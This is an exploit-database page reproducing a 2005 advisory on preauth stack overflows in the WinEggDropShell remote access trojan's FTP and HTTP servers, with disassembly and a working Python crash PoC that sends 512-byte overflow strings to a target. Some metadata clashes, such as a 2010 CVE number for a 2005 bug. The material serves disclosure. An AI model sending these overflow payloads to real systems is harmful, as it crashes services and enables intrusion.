Exploitalert - Database of Exploits

WinEggDropShell Multiple Remote Stack Overflow

CVE	Category	Price	Severity
CVE-2010-2015	CWE-119	$3000	High

Author	Risk	Exploitation Type	Date
Matthew Bergin	High	Remote	2005-12-13

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.0216	0.50666

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

http://cxsecurity.com/ascii/WLB-2005120007

WinEggDropShell Multiple Remote Stack Overflow by Sowhat 2005.12.02 http://secway.org/advisory/AD20051202.txt http://secway.org/exploit/wineggdropshell_bof.py.txt Affected: WinEggDropShell Eterntiy version (1.7) Other version may be vulnerable toooooo Overview: WinEggDropShell is a popular Chinese RAT (remote access trojan). WineggDropShell provide HTTP Proxy/Socks Proxy/HTTP Server/FTP Server. for more information, Goooooooooooooogle... Multiple preauth stack overflow found in the HTTP/FTP server can be used to execute arbitrary command or D0S (blue screen, yes, it's cool ;) Vulnerability: 1. FTP USER bof .text:100027BD push offset aUser ; "USER" .text:100027C2 call _strlen .text:100027C7 add esp, 4 .text:100027CA lea edi, [ebp+eax-103h] .text:100027D1 push edi .text:100027D2 push offset aS ; "%s" .text:100027D7 lea edi, [ebp+var_208] .text:100027DD push edi ; char * .text:100027DE call _sprintf ; emmmmm, ;) _ReceiveSocketBuffer can maximum recv 0x200h, but [ebp+var_208] is a 0x104h buffer. 2. FTP Server Pass Command ............. 3. HTTP GET stack overflow! GET /A*260 PoC: http://secway.org/exploit/wineggdropshell_bof.py.txt Greetingz to killer,baozi,Darkeagle,all 0x557 and XFocus guys....;) Reference: [1] https://www.openrce.org/articles/full_view/18 [2] http://www.ccc.de/congress/2005/ [3] http://secway.org #!/usr/bin/python # WinEggDropShell Multipe PreAuth Remote Stack Overflow PoC # HTTP Server "GET" && FTP Server "USER" "PASS" command # Bug Discoverd and coded by Sowhat # Greetingz to killer,baozi,Darkeagle,all 0x557 and XFocus guys....;) # http://secway.org # 2005-10-11 # Affected: # WinEggDropShell Eterntiy version # Other version may be vulnerable toooooo import sys import string import socket if (len(sys.argv) != 4): print "####################################################################### ###" print "# WinEggDropShell Multipe PreAuth Remote Stack Overflow PoC #" print "# This Poc will BOD the vulnerable target #" print "# Bug Discoverd and coded by Sowhat #" print "# http://secway.org #" print "####################################################################### ###" print "nUsage: " + sys.argv[0] + "HTTP/FTP" + " TargetIP" + " Portn" print "Example: n" + sys.argv[0] + " HTTP" + " 1.1.1.1" + " 80" print sys.argv[0] + " FTP" + " 1.1.1.1" + " 21" sys.exit(0) host = sys.argv[2] port = string.atoi(sys.argv[3]) if ((sys.argv[1] == "FTP") | (sys.argv[1] == "ftp")): request = "USER " + 'A'*512 + "r" if ((sys.argv[1] == "HTTP") | (sys.argv[1] == "http")): request = "GET /" + 'A'*512 + " HTTP/1.1 rn" exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM) exp.connect((host,port)) exp.send(request) ---EOF----- -- Sowhat http://secway.org "Life is like a bug, Do you know how to exploit it ?"

Impressum